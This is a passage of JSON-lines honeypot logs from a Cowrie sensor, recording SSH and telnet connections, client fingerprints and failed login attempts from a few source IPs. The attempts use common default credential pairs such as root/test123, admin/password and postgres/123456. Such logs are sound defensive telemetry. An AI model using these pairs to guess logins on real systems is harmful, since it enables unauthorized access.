p384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:30.421906Z","src_ip":"45.153.34.114","session":"994d9baf8838","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:30.686803Z","src_ip":"45.153.34.114","session":"994d9baf8838","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:31.786086Z","src_ip":"45.153.34.114","session":"994d9baf8838","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":42906,"dst_ip":"159.203.135.109","dst_port":22,"session":"2aa7068d1cb8","protocol":"ssh","message":"New connection: 103.75.199.4:42906 (159.203.135.109:22) [session: 2aa7068d1cb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:32.769060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:32.773349Z","src_ip":"103.75.199.4","session":"2aa7068d1cb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:32.864096Z","src_ip":"103.75.199.4","session":"2aa7068d1cb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123","message":"login attempt [root/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:33.136762Z","src_ip":"103.75.199.4","session":"2aa7068d1cb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:34.229921Z","src_ip":"103.75.199.4","session":"2aa7068d1cb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":38866,"dst_ip":"159.203.135.109","dst_port":22,"session":"acf78553c643","protocol":"ssh","message":"New connection: 45.153.34.114:38866 (159.203.135.109:22) [session: acf78553c643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:38.612570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:38.616431Z","src_ip":"45.153.34.114","session":"acf78553c643","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:38.702473Z","src_ip":"45.153.34.114","session":"acf78553c643","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:38.956363Z","src_ip":"45.153.34.114","session":"acf78553c643","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:40.055145Z","src_ip":"45.153.34.114","session":"acf78553c643","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":49744,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ba505f2edfb","protocol":"ssh","message":"New connection: 45.153.34.114:49744 (159.203.135.109:22) [session: 2ba505f2edfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:46.813816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:46.818140Z","src_ip":"45.153.34.114","session":"2ba505f2edfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:46.900052Z","src_ip":"45.153.34.114","session":"2ba505f2edfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alexis","password":"alexis","message":"login attempt [alexis/alexis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:47.279540Z","src_ip":"45.153.34.114","session":"2ba505f2edfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:48.368609Z","src_ip":"45.153.34.114","session":"2ba505f2edfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":49960,"dst_ip":"159.203.135.109","dst_port":22,"session":"80c7e877d4ac","protocol":"ssh","message":"New connection: 45.153.34.114:49960 (159.203.135.109:22) [session: 80c7e877d4ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:54.407883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:54.479268Z","src_ip":"45.153.34.114","session":"80c7e877d4ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:54.510676Z","src_ip":"45.153.34.114","session":"80c7e877d4ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":34840,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcc23f72eeb9","protocol":"ssh","message":"New connection: 103.75.199.4:34840 (159.203.135.109:22) [session: dcc23f72eeb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:54.652465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:54.656970Z","src_ip":"103.75.199.4","session":"dcc23f72eeb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:54.747545Z","src_ip":"103.75.199.4","session":"dcc23f72eeb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:54.862540Z","src_ip":"45.153.34.114","session":"80c7e877d4ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:55.023428Z","src_ip":"103.75.199.4","session":"dcc23f72eeb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:55.947319Z","src_ip":"45.153.34.114","session":"80c7e877d4ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:56:56.116918Z","src_ip":"103.75.199.4","session":"dcc23f72eeb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":38882,"dst_ip":"159.203.135.109","dst_port":22,"session":"85be4de57979","protocol":"ssh","message":"New connection: 45.153.34.114:38882 (159.203.135.109:22) [session: 85be4de57979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:02.556717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:02.561428Z","src_ip":"45.153.34.114","session":"85be4de57979","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:02.671979Z","src_ip":"45.153.34.114","session":"85be4de57979","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:02.943061Z","src_ip":"45.153.34.114","session":"85be4de57979","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:04.030811Z","src_ip":"45.153.34.114","session":"85be4de57979","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.217.149.70","src_port":43702,"dst_ip":"159.203.135.109","dst_port":23,"session":"45adb5e6437d","protocol":"telnet","message":"New connection: 85.217.149.70:43702 (159.203.135.109:23) [session: 45adb5e6437d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:04.891152Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":51146,"dst_ip":"159.203.135.109","dst_port":22,"session":"f036b819831a","protocol":"ssh","message":"New connection: 45.153.34.114:51146 (159.203.135.109:22) [session: f036b819831a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:10.749350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:10.753776Z","src_ip":"45.153.34.114","session":"f036b819831a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:10.841484Z","src_ip":"45.153.34.114","session":"f036b819831a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:11.122890Z","src_ip":"45.153.34.114","session":"f036b819831a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:12.220059Z","src_ip":"45.153.34.114","session":"f036b819831a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":59892,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bf867a067d9","protocol":"ssh","message":"New connection: 103.75.199.4:59892 (159.203.135.109:22) [session: 0bf867a067d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:16.525163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:16.529969Z","src_ip":"103.75.199.4","session":"0bf867a067d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:16.624668Z","src_ip":"103.75.199.4","session":"0bf867a067d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:16.902178Z","src_ip":"103.75.199.4","session":"0bf867a067d9","protocol":"ssh"}
